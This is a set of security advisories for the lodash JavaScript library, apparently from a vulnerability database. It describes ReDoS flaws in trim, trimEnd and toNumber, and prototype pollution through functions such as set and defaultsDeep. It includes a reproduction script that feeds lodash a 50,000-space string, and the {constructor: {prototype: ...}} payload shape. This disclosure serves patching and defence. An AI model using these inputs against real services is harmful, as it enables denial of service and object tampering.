Package Instance

Regular Expression Denial of Service (ReDoS) in lodash
All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the `toNumber`, `trim` and `trimEnd` functions.

Steps to reproduce (provided by reporter Liyuan Chen):
```js
var lo = require('lodash');

function build_blank(n) {
var ret = "1"
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s)
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
```

Prototype Pollution in lodash
Versions of lodash prior to 4.17.19 are vulnerable to Prototype
Pollution. The functions `pick`, `set`, `setWith`, `update`,
`updateWith`, and `zipObjectDeep` allow a malicious user to
modify the prototype of Object if the property identifiers are
user-supplied. Being affected by this issue requires manipulating
objects based on user-provided property values or arrays.

This vulnerability causes the addition or modification of an
existing property that will exist on all objects and may lead to
Denial of Service or Code Execution under specific circumstances.

Prototype Pollution in lodash
Versions of `lodash` before 4.17.12 are vulnerable to Prototype Pollution.  The function `defaultsDeep` allows a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.

Denial of Service
Prototype pollution attack (lodash / constructor.prototype)

Regular Expression Denial of Service (ReDoS) in lodash
lodash prior to 4.7.11 is affected by: CWE-400: Uncontrolled
Resource Consumption. The impact is: Denial of service. The
component is: Date handler. The attack vector is: Attacker
provides very long strings, which the library attempts
to match using a regular expression.

The fixed version is: 4.7.11.